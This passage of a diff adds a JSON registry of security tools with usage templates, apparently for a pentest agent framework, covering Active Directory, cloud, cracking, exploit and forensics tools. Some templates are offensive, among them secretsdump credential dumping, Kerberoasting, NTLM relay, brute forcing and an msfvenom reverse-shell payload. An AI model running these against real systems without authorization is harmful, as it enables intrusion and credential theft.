"ad", + "description": "Collect AD relationships for BloodHound.", + "usage": "bloodhound-python -d {domain} -u {user} -p {password} -ns {host} -c All", + "tags": [ + "ad", + "graph" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "bloodhound" + }, + "mcp": null + }, + { + "id": "certipy", + "name": "Certipy", + "binary": "certipy", + "category": "ad", + "description": "AD Certificate Services enumeration and exploitation.", + "usage": "certipy find -u {user}@{domain} -p {password} -dc-ip {host}", + "tags": [ + "ad", + "adcs" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "certipy-ad" + }, + "mcp": null + }, + { + "id": "crackmapexec", + "name": "CrackMapExec", + "binary": "cme", + "category": "ad", + "description": "Network attack/assessment tool for AD environments.", + "usage": "cme smb {host}", + "tags": [ + "ad", + "smb" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "crackmapexec" + }, + "mcp": null + }, + { + "id": "enum4linux_ng", + "name": "Enum4linux-ng", + "binary": "enum4linux-ng", + "category": "ad", + "description": "Modern SMB/AD enumeration.", + "usage": "enum4linux-ng -A {host}", + "tags": [ + "smb", + "ad" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "enum4linux-ng" + }, + "mcp": null + }, + { + "id": "evil_winrm", + "name": "Evil-WinRM", + "binary": "evil-winrm", + "category": "ad", + "description": "WinRM shell for authorized Windows hosts.", + "usage": "evil-winrm -i {host} -u {user} -p {password}", + "tags": [ + "ad", + "shell" + ], + "intrusive": true, + "requires_root": false, + "install": { + "gem": "evil-winrm" + }, + "mcp": null + }, + { + "id": "impacket_getnpusers", + "name": "Impacket GetNPUsers", + "binary": "impacket-GetNPUsers", + "category": "ad", + "description": "AS-REP roasting for accounts without pre-auth.", + "usage": "impacket-GetNPUsers {domain}/ -dc-ip {host} -usersfile users.txt -no-pass", + "tags": [ + "ad", + "kerberos" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_getuserspns", + "name": "Impacket GetUserSPNs", + "binary": "impacket-GetUserSPNs", + "category": "ad", + "description": "Kerberoasting: request service tickets.", + "usage": "impacket-GetUserSPNs {domain}/{user}:{password} -dc-ip {host} -request", + "tags": [ + "ad", + "kerberos" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_ntlmrelayx", + "name": "Impacket ntlmrelayx", + "binary": "impacket-ntlmrelayx", + "category": "ad", + "description": "NTLM relay attacks.", + "usage": "impacket-ntlmrelayx -tf targets.txt -smb2support", + "tags": [ + "ad", + "relay" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_psexec", + "name": "Impacket psexec", + "binary": "impacket-psexec", + "category": "ad", + "description": "Remote command execution via SMB.", + "usage": "impacket-psexec {domain}/{user}:{password}@{host}", + "tags": [ + "ad", + "exec" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_secretsdump", + "name": "Impacket secretsdump", + "binary": "impacket-secretsdump", + "category": "ad", + "description": "Dump SAM/LSA/NTDS secrets.", + "usage": "impacket-secretsdump -just-dc {domain}/{user}:{password}@{host}", + "tags": [ + "ad", + "creds" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_smbexec", + "name": "Impacket smbexec", + "binary": "impacket-smbexec", + "category": "ad", + "description": "Remote command execution via SMB service.", + "usage": "impacket-smbexec {domain}/{user}:{password}@{host}", + "tags": [ + "ad", + "exec" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_ticketer", + "name": "Impacket ticketer", + "binary": "impacket-ticketer", + "category": "ad", + "description": "Create golden/silver Kerberos tickets.", + "usage": "impacket-ticketer -nthash -domain-sid -domain ", + "tags": [ + "ad", + "kerberos" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "impacket_wmiexec", + "name": "Impacket wmiexec", + "binary": "impacket-wmiexec", + "category": "ad", + "description": "Remote command execution via WMI.", + "usage": "impacket-wmiexec {domain}/{user}:{password}@{host}", + "tags": [ + "ad", + "exec" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "impacket" + }, + "mcp": null + }, + { + "id": "kerbrute", + "name": "Kerbrute", + "binary": "kerbrute", + "category": "ad", + "description": "Kerberos user enumeration and password spraying.", + "usage": "kerbrute userenum --dc {host} -d {domain} users.txt", + "tags": [ + "ad", + "kerberos" + ], + "intrusive": true, + "requires_root": false, + "install": { + "go": "github.com/ropnop/kerbrute" + }, + "mcp": null + }, + { + "id": "ldapdomaindump", + "name": "ldapdomaindump", + "binary": "ldapdomaindump", + "category": "ad", + "description": "Dump AD info over LDAP.", + "usage": "ldapdomaindump -u '{domain}\\{user}' -p {password} {host}", + "tags": [ + "ldap", + "ad" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "ldapdomaindump" + }, + "mcp": null + }, + { + "id": "ldapsearch", + "name": "ldapsearch", + "binary": "ldapsearch", + "category": "ad", + "description": "LDAP directory queries.", + "usage": "ldapsearch -x -H ldap://{host} -b 'dc=example,dc=com'", + "tags": [ + "ldap" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "ldap-utils" + }, + "mcp": null + }, + { + "id": "mitm6", + "name": "mitm6", + "binary": "mitm6", + "category": "ad", + "description": "IPv6 DNS takeover for AD.", + "usage": "mitm6 -d {domain}", + "tags": [ + "ad", + "mitm" + ], + "intrusive": true, + "requires_root": true, + "install": { + "pipx": "mitm6" + }, + "mcp": null + }, + { + "id": "netexec", + "name": "NetExec", + "binary": "nxc", + "category": "ad", + "description": "Swiss-army knife for SMB/WinRM/LDAP/SSH/MSSQL.", + "usage": "nxc smb {host} -u '' -p '' --shares", + "tags": [ + "ad", + "smb" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "netexec" + }, + "mcp": null + }, + { + "id": "responder", + "name": "Responder", + "binary": "responder", + "category": "ad", + "description": "LLMNR/NBT-NS/mDNS poisoner.", + "usage": "responder -I eth0 -wrf", + "tags": [ + "ad", + "mitm" + ], + "intrusive": true, + "requires_root": true, + "install": { + "apt": "responder" + }, + "mcp": null + }, + { + "id": "deepeval", + "name": "DeepEval", + "binary": "deepeval", + "category": "ai", + "description": "LLM evaluation harness.", + "usage": "deepeval", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "deepeval" + }, + "mcp": null + }, + { + "id": "garak", + "name": "Garak", + "binary": "garak", + "category": "ai", + "description": "LLM vulnerability scanner.", + "usage": "garak --model_type openai --model_name gpt-4", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "garak" + }, + "mcp": null + }, + { + "id": "giskard", + "name": "Giskard", + "binary": "giskard", + "category": "ai", + "description": "AI/ML model testing and red teaming.", + "usage": "python3 -m giskard", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "giskard" + }, + "mcp": null + }, + { + "id": "llm_guard", + "name": "LLM Guard", + "binary": "llm-guard", + "category": "ai", + "description": "LLM input/output safety scanner.", + "usage": "python3 -m llm_guard", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "llm-guard" + }, + "mcp": null + }, + { + "id": "promptfoo", + "name": "Promptfoo", + "binary": "promptfoo", + "category": "ai", + "description": "LLM prompt/eval and red-team harness.", + "usage": "promptfoo redteam run", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "npm": "promptfoo" + }, + "mcp": null + }, + { + "id": "pyrit", + "name": "PyRIT", + "binary": "pyrit", + "category": "ai", + "description": "Microsoft AI red-team framework.", + "usage": "python3 -m pyrit", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "pyrit" + }, + "mcp": null + }, + { + "id": "strix", + "name": "Strix", + "binary": "strix", + "category": "ai", + "description": "AI agent security testing.", + "usage": "strix --target {target}", + "tags": [ + "llm" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "strix" + }, + "mcp": null + }, + { + "id": "binwalk", + "name": "Binwalk", + "binary": "binwalk", + "category": "binary", + "description": "Firmware and embedded-file analysis.", + "usage": "binwalk -e {target}", + "tags": [ + "firmware" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "binwalk" + }, + "mcp": null + }, + { + "id": "checksec", + "name": "Checksec", + "binary": "checksec", + "category": "binary", + "description": "ELF/PE mitigation checks.", + "usage": "checksec --file={target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "checksec" + }, + "mcp": null + }, + { + "id": "file", + "name": "file", + "binary": "file", + "category": "binary", + "description": "Identify file type.", + "usage": "file {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "gdb", + "name": "GDB", + "binary": "gdb", + "category": "binary", + "description": "GNU debugger.", + "usage": "gdb -q {target}", + "tags": [ + "debug" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "gdb" + }, + "mcp": null + }, + { + "id": "ghidra_headless", + "name": "Ghidra headless", + "binary": "analyzeHeadless", + "category": "binary", + "description": "Headless binary reverse engineering.", + "usage": "analyzeHeadless /tmp/ghidra proj -import {target}", + "tags": [ + "re", + "decompile" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "ghidra" + }, + "mcp": null + }, + { + "id": "lldb", + "name": "LLDB", + "binary": "lldb", + "category": "binary", + "description": "LLVM debugger.", + "usage": "lldb {target}", + "tags": [ + "debug" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "lldb" + }, + "mcp": null + }, + { + "id": "nm", + "name": "nm", + "binary": "nm", + "category": "binary", + "description": "Symbol table inspection.", + "usage": "nm -an {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "binutils" + }, + "mcp": null + }, + { + "id": "objdump", + "name": "objdump", + "binary": "objdump", + "category": "binary", + "description": "Binary disassembly and headers.", + "usage": "objdump -d {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "binutils" + }, + "mcp": null + }, + { + "id": "otool", + "name": "otool", + "binary": "otool", + "category": "binary", + "description": "Mach-O analysis (macOS).", + "usage": "otool -L {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": {}, + "mcp": null + }, + { + "id": "radare2", + "name": "radare2", + "binary": "r2", + "category": "binary", + "description": "Reverse-engineering framework.", + "usage": "r2 -A {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "radare2" + }, + "mcp": null + }, + { + "id": "rizin", + "name": "Rizin", + "binary": "rizin", + "category": "binary", + "description": "Reverse-engineering framework (radare2 fork).", + "usage": "rizin -A {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "rizin" + }, + "mcp": null + }, + { + "id": "rizin_bin", + "name": "rz-bin", + "binary": "rz-bin", + "category": "binary", + "description": "Binary information extraction (Rizin).", + "usage": "rz-bin -I {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "rizin" + }, + "mcp": null + }, + { + "id": "strings", + "name": "strings", + "binary": "strings", + "category": "binary", + "description": "Extract printable strings.", + "usage": "strings -a {target}", + "tags": [ + "re" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "binutils" + }, + "mcp": null + }, + { + "id": "awscli", + "name": "AWS CLI", + "binary": "aws", + "category": "cloud", + "description": "AWS command-line interface.", + "usage": "aws sts get-caller-identity", + "tags": [ + "cloud" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "awscli" + }, + "mcp": null + }, + { + "id": "azcli", + "name": "Azure CLI", + "binary": "az", + "category": "cloud", + "description": "Azure command-line interface.", + "usage": "az account show", + "tags": [ + "cloud" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "azure-cli" + }, + "mcp": null + }, + { + "id": "azurehound", + "name": "AzureHound", + "binary": "azurehound", + "category": "cloud", + "description": "Azure/Entra ID attack-path collector.", + "usage": "azurehound -u {user} -p {password} list", + "tags": [ + "cloud", + "azure" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/BloodHoundAD/AzureHound" + }, + "mcp": null + }, + { + "id": "checkov", + "name": "Checkov", + "binary": "checkov", + "category": "cloud", + "description": "IaC misconfiguration scanner.", + "usage": "checkov -d {target}", + "tags": [ + "iac" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "checkov" + }, + "mcp": null + }, + { + "id": "cloud_enum", + "name": "cloud_enum", + "binary": "cloud_enum", + "category": "cloud", + "description": "Multi-cloud public asset enumeration.", + "usage": "cloud_enum -k {host}", + "tags": [ + "cloud" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "cloud-enum" + }, + "mcp": null + }, + { + "id": "cloudsplaining", + "name": "Cloudsplaining", + "binary": "cloudsplaining", + "category": "cloud", + "description": "AWS IAM policy risk analyzer.", + "usage": "cloudsplaining scan --input-file {target}", + "tags": [ + "aws", + "iam" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "cloudsplaining" + }, + "mcp": null + }, + { + "id": "enumerate_iam", + "name": "enumerate-iam", + "binary": "enumerate-iam", + "category": "cloud", + "description": "Enumerate AWS IAM permissions.", + "usage": "enumerate-iam --access-key {user} --secret-key {password}", + "tags": [ + "aws", + "iam" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "enumerate-iam" + }, + "mcp": null + }, + { + "id": "gcloud", + "name": "gcloud", + "binary": "gcloud", + "category": "cloud", + "description": "Google Cloud CLI.", + "usage": "gcloud auth list", + "tags": [ + "cloud" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "google-cloud-cli" + }, + "mcp": null + }, + { + "id": "gcp_scanner", + "name": "GCP Scanner", + "binary": "gcp-scanner", + "category": "cloud", + "description": "GCP resource/credential scanner.", + "usage": "gcp-scanner -o out", + "tags": [ + "cloud" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "gcp-scanner" + }, + "mcp": null + }, + { + "id": "kics", + "name": "KICS", + "binary": "kics", + "category": "cloud", + "description": "IaC security scanner.", + "usage": "kics scan -p {target}", + "tags": [ + "iac" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "kics" + }, + "mcp": null + }, + { + "id": "kube_bench", + "name": "kube-bench", + "binary": "kube-bench", + "category": "cloud", + "description": "CIS Kubernetes benchmark checks.", + "usage": "kube-bench run", + "tags": [ + "k8s" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "kube-bench" + }, + "mcp": null + }, + { + "id": "kube_hunter", + "name": "kube-hunter", + "binary": "kube-hunter", + "category": "cloud", + "description": "Kubernetes penetration testing.", + "usage": "kube-hunter --remote {host}", + "tags": [ + "k8s" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "kube-hunter" + }, + "mcp": null + }, + { + "id": "kubectl", + "name": "kubectl", + "binary": "kubectl", + "category": "cloud", + "description": "Kubernetes control client.", + "usage": "kubectl --server={target} get pods", + "tags": [ + "k8s" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "kubectl" + }, + "mcp": null + }, + { + "id": "kubectl_WhoCan", + "name": "kubectl-who-can", + "binary": "kubectl-who-can", + "category": "cloud", + "description": "Show Kubernetes RBAC permissions.", + "usage": "kubectl-who-can create pods", + "tags": [ + "k8s" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/aquasecurity/kubectl-who-can" + }, + "mcp": null + }, + { + "id": "kubescape", + "name": "Kubescape", + "binary": "kubescape", + "category": "cloud", + "description": "Kubernetes posture and compliance scanner.", + "usage": "kubescape scan", + "tags": [ + "k8s" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "kubescape" + }, + "mcp": null + }, + { + "id": "monkey365", + "name": "Monkey365", + "binary": "Monkey365", + "category": "cloud", + "description": "Microsoft 365/ Azure security assessment.", + "usage": "Monkey365 -args", + "tags": [ + "cloud", + "azure" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "monkey365" + }, + "mcp": null + }, + { + "id": "pacu", + "name": "Pacu", + "binary": "pacu", + "category": "cloud", + "description": "AWS exploitation framework (authorized only).", + "usage": "pacu", + "tags": [ + "cloud", + "exploit" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "pacu" + }, + "mcp": null + }, + { + "id": "prowler", + "name": "Prowler", + "binary": "prowler", + "category": "cloud", + "description": "Cloud security assessment (AWS/Azure/GCP).", + "usage": "prowler aws", + "tags": [ + "cloud", + "audit" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "prowler" + }, + "mcp": null + }, + { + "id": "roadrecon", + "name": "ROADrecon", + "binary": "roadrecon", + "category": "cloud", + "description": "Azure AD enumeration.", + "usage": "roadrecon gather", + "tags": [ + "cloud", + "azure" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "roadrecon" + }, + "mcp": null + }, + { + "id": "s3scanner", + "name": "S3Scanner", + "binary": "s3scanner", + "category": "cloud", + "description": "Enumerate and audit exposed S3 buckets.", + "usage": "s3scanner scan --bucket {host}", + "tags": [ + "s3" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "s3scanner" + }, + "mcp": null + }, + { + "id": "scoutsuite", + "name": "ScoutSuite", + "binary": "scout", + "category": "cloud", + "description": "Multi-cloud security auditing.", + "usage": "scout aws", + "tags": [ + "cloud", + "audit" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "scoutsuite" + }, + "mcp": null + }, + { + "id": "terrascan", + "name": "Terrascan", + "binary": "terrascan", + "category": "cloud", + "description": "IaC security scanner.", + "usage": "terrascan scan -d {target}", + "tags": [ + "iac" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "terrascan" + }, + "mcp": null + }, + { + "id": "clair", + "name": "Clair", + "binary": "clair", + "category": "container", + "description": "Container vulnerability scanner (service).", + "usage": "clair -conf config.yaml", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "clair" + }, + "mcp": null + }, + { + "id": "crane", + "name": "crane", + "binary": "crane", + "category": "container", + "description": "Inspect/export container images without a daemon.", + "usage": "crane config {target}", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "go": "github.com/google/go-containerregistry/cmd/crane" + }, + "mcp": null + }, + { + "id": "docker_bench", + "name": "Docker Bench", + "binary": "docker-bench-security", + "category": "container", + "description": "Docker CIS benchmark.", + "usage": "docker-bench-security", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "docker-bench-security" + }, + "mcp": null + }, + { + "id": "dockle", + "name": "Dockle", + "binary": "dockle", + "category": "container", + "description": "Container image linter.", + "usage": "dockle {target}", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "dockle" + }, + "mcp": null + }, + { + "id": "grype", + "name": "Grype", + "binary": "grype", + "category": "container", + "description": "Vulnerability scanner for container images and SBOMs.", + "usage": "grype {target}", + "tags": [ + "scanner" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "grype" + }, + "mcp": null + }, + { + "id": "hadolint", + "name": "Hadolint", + "binary": "hadolint", + "category": "container", + "description": "Dockerfile linter.", + "usage": "hadolint {target}", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "hadolint" + }, + "mcp": null + }, + { + "id": "skopeo", + "name": "Skopeo", + "binary": "skopeo", + "category": "container", + "description": "Copy/inspect container images.", + "usage": "skopeo inspect {target}", + "tags": [ + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "skopeo" + }, + "mcp": null + }, + { + "id": "syft", + "name": "Syft", + "binary": "syft", + "category": "container", + "description": "Generate SBOMs for images and filesystems.", + "usage": "syft {target} -o cyclonedx-json", + "tags": [ + "sbom" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "syft" + }, + "mcp": null + }, + { + "id": "trivy", + "name": "Trivy", + "binary": "trivy", + "category": "container", + "description": "Container/image/filesystem vulnerability and secret scanner.", + "usage": "trivy image {target}", + "tags": [ + "scanner", + "container" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "trivy" + }, + "mcp": null + }, + { + "id": "cewl", + "name": "CeWL", + "binary": "cewl", + "category": "creds", + "description": "Generate wordlists by crawling a site.", + "usage": "cewl {target} -w words.txt", + "tags": [ + "wordlist" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "cewl" + }, + "mcp": null + }, + { + "id": "crunch", + "name": "Crunch", + "binary": "crunch", + "category": "creds", + "description": "Wordlist generator.", + "usage": "crunch 8 8 -o words.txt", + "tags": [ + "wordlist" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "crunch" + }, + "mcp": null + }, + { + "id": "cupp", + "name": "CUPP", + "binary": "cupp", + "category": "creds", + "description": "Profile-based password wordlist generator.", + "usage": "cupp -i", + "tags": [ + "wordlist" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "cupp" + }, + "mcp": null + }, + { + "id": "fcrackzip", + "name": "fcrackzip", + "binary": "fcrackzip", + "category": "creds", + "description": "ZIP password cracker.", + "usage": "fcrackzip -u -D -p wordlist.txt {target}", + "tags": [ + "crack" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "fcrackzip" + }, + "mcp": null + }, + { + "id": "haiti", + "name": "Haiti", + "binary": "haiti", + "category": "creds", + "description": "Hash type identification.", + "usage": "haiti '{target}'", + "tags": [ + "hash" + ], + "intrusive": false, + "requires_root": false, + "install": { + "gem": "haiti" + }, + "mcp": null + }, + { + "id": "hashcat", + "name": "Hashcat", + "binary": "hashcat", + "category": "creds", + "description": "GPU/CPU password recovery.", + "usage": "hashcat -m 0 {target} wordlist.txt", + "tags": [ + "crack" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "hashcat" + }, + "mcp": null + }, + { + "id": "hashid", + "name": "HashID", + "binary": "hashid", + "category": "creds", + "description": "Identify hash types.", + "usage": "hashid '{target}'", + "tags": [ + "hash" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "hashid" + }, + "mcp": null + }, + { + "id": "hydra", + "name": "Hydra", + "binary": "hydra", + "category": "creds", + "description": "Fast online credential brute forcing.", + "usage": "hydra -L users.txt -P passwords.txt {host} ssh", + "tags": [ + "brute" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "hydra" + }, + "mcp": null + }, + { + "id": "john", + "name": "John the Ripper", + "binary": "john", + "category": "creds", + "description": "Password cracker.", + "usage": "john --wordlist=wordlist.txt {target}", + "tags": [ + "crack" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "john" + }, + "mcp": null + }, + { + "id": "medusa", + "name": "Medusa", + "binary": "medusa", + "category": "creds", + "description": "Parallel network login brute forcer.", + "usage": "medusa -h {host} -U users.txt -P passwords.txt -M ssh", + "tags": [ + "brute" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "medusa" + }, + "mcp": null + }, + { + "id": "ncrack", + "name": "Ncrack", + "binary": "ncrack", + "category": "creds", + "description": "High-speed network authentication cracking.", + "usage": "ncrack -U users.txt -P passwords.txt ssh://{host}", + "tags": [ + "brute" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "ncrack" + }, + "mcp": null + }, + { + "id": "patator", + "name": "Patator", + "binary": "patator", + "category": "creds", + "description": "Modular brute-forcing tool.", + "usage": "patator ssh_login host={host} user=FILE0 password=FILE1 0=users.txt 1=passwords.txt", + "tags": [ + "brute" + ], + "intrusive": true, + "requires_root": false, + "install": { + "pipx": "patator" + }, + "mcp": null + }, + { + "id": "pdfcrack", + "name": "pdfcrack", + "binary": "pdfcrack", + "category": "creds", + "description": "PDF password cracker.", + "usage": "pdfcrack -w wordlist.txt {target}", + "tags": [ + "crack" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "pdfcrack" + }, + "mcp": null + }, + { + "id": "seclists", + "name": "SecLists", + "binary": "seclists", + "category": "creds", + "description": "Curated security wordlists (installed as a data package).", + "usage": "ls /usr/share/seclists", + "tags": [ + "wordlist" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "seclists" + }, + "mcp": null + }, + { + "id": "metasploit", + "name": "Metasploit", + "binary": "msfconsole", + "category": "exploit", + "description": "Exploitation framework (authorized, surgical use).", + "usage": "msfconsole -q -x 'search {target}; exit'", + "tags": [ + "exploit" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "metasploit-framework" + }, + "mcp": null + }, + { + "id": "msfvenom", + "name": "msfvenom", + "binary": "msfvenom", + "category": "exploit", + "description": "Payload generator.", + "usage": "msfvenom -p linux/x64/shell_reverse_tcp LHOST={host} LPORT=4444 -f elf", + "tags": [ + "payload" + ], + "intrusive": true, + "requires_root": false, + "install": { + "apt": "metasploit-framework" + }, + "mcp": null + }, + { + "id": "one_gadget", + "name": "one_gadget", + "binary": "one_gadget", + "category": "exploit", + "description": "Find one-gadget RCEs in libc.", + "usage": "one_gadget {target}", + "tags": [ + "rop" + ], + "intrusive": false, + "requires_root": false, + "install": { + "gem": "one_gadget" + }, + "mcp": null + }, + { + "id": "pwntools", + "name": "Pwntools", + "binary": "pwn", + "category": "exploit", + "description": "CTF/exploit development toolkit.", + "usage": "python3 -c 'from pwn import *'", + "tags": [ + "exploit" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "pwntools" + }, + "mcp": null + }, + { + "id": "ropgadget", + "name": "ROPgadget", + "binary": "ROPgadget", + "category": "exploit", + "description": "ROP gadget finder.", + "usage": "ROPgadget --binary {target}", + "tags": [ + "rop" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "ropgadget" + }, + "mcp": null + }, + { + "id": "ropper", + "name": "Ropper", + "binary": "ropper", + "category": "exploit", + "description": "ROP gadget finder.", + "usage": "ropper -f {target} --search 'pop rdi'", + "tags": [ + "rop" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "ropper" + }, + "mcp": null + }, + { + "id": "searchsploit", + "name": "SearchSploit", + "binary": "searchsploit", + "category": "exploit", + "description": "Offline Exploit-DB search.", + "usage": "searchsploit {target}", + "tags": [ + "cve", + "poc" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "exploitdb" + }, + "mcp": null + }, + { + "id": "bulk_extractor", + "name": "bulk_extractor", + "binary": "bulk_extractor", + "category": "forensics", + "description": "Forensic feature extraction.", + "usage": "bulk_extractor -o out {target}", + "tags": [ + "forensics" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "bulk-extractor" + }, + "mcp": null + }, + { + "id": "exiftool", + "name": "ExifTool", + "binary": "exiftool", + "category": "forensics", + "description": "Metadata extraction/editing.", + "usage": "exiftool {target}", + "tags": [ + "metadata" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "libimage-exiftool-perl" + }, + "mcp": null + }, + { + "id": "foremost", + "name": "Foremost", + "binary": "foremost", + "category": "forensics", + "description": "File carving/recovery.", + "usage": "foremost -i {target} -o out", + "tags": [ + "forensics" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "foremost" + }, + "mcp": null + }, + { + "id": "sleuthkit", + "name": "SleuthKit", + "binary": "fls", + "category": "forensics", + "description": "File-system forensic analysis.", + "usage": "fls -r {target}", + "tags": [ + "forensics" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "sleuthkit" + }, + "mcp": null + }, + { + "id": "steghide", + "name": "Steghide", + "binary": "steghide", + "category": "forensics", + "description": "Steganography embed/extract.", + "usage": "steghide info {target}", + "tags": [ + "stego" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "steghide" + }, + "mcp": null + }, + { + "id": "volatility3", + "name": "Volatility 3", + "binary": "vol.py", + "category": "forensics", + "description": "Memory forensics framework.", + "usage": "vol.py -f {target} windows.info", + "tags": [ + "forensics" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "volatility3" + }, + "mcp": null + }, + { + "id": "zsteg", + "name": "zsteg", + "binary": "zsteg", + "category": "forensics", + "description": "PNG/BMP steganography detection.", + "usage": "zsteg {target}", + "tags": [ + "stego" + ], + "intrusive": false, + "requires_root": false, + "install": { + "gem": "zsteg" + }, + "mcp": null + }, + { + "id": "apkleaks", + "name": "APKLeaks", + "binary": "apkleaks", + "category": "mobile", + "description": "Scan APKs for URLs, secrets and endpoints.", + "usage": "apkleaks -f {target}", + "tags": [ + "android", + "secrets" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "apkleaks" + }, + "mcp": null + }, + { + "id": "apktool", + "name": "Apktool", + "binary": "apktool", + "category": "mobile", + "description": "Decompile/rebuild Android APKs.", + "usage": "apktool d {target}", + "tags": [ + "android" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "apktool" + }, + "mcp": null + }, + { + "id": "dex2jar", + "name": "dex2jar", + "binary": "d2j-dex2jar", + "category": "mobile", + "description": "Convert DEX to JAR for analysis.", + "usage": "d2j-dex2jar {target}", + "tags": [ + "android" + ], + "intrusive": false, + "requires_root": false, + "install": { + "apt": "dex2jar" + }, + "mcp": null + }, + { + "id": "frida", + "name": "Frida", + "binary": "frida", + "category": "mobile", + "description": "Dynamic instrumentation toolkit.", + "usage": "frida -U -f {target}", + "tags": [ + "android", + "ios" + ], + "intrusive": false, + "requires_root": false, + "install": { + "pipx": "frida-tools" + }, + "mcp": null + }, + { + "id": "jadx", + "name": 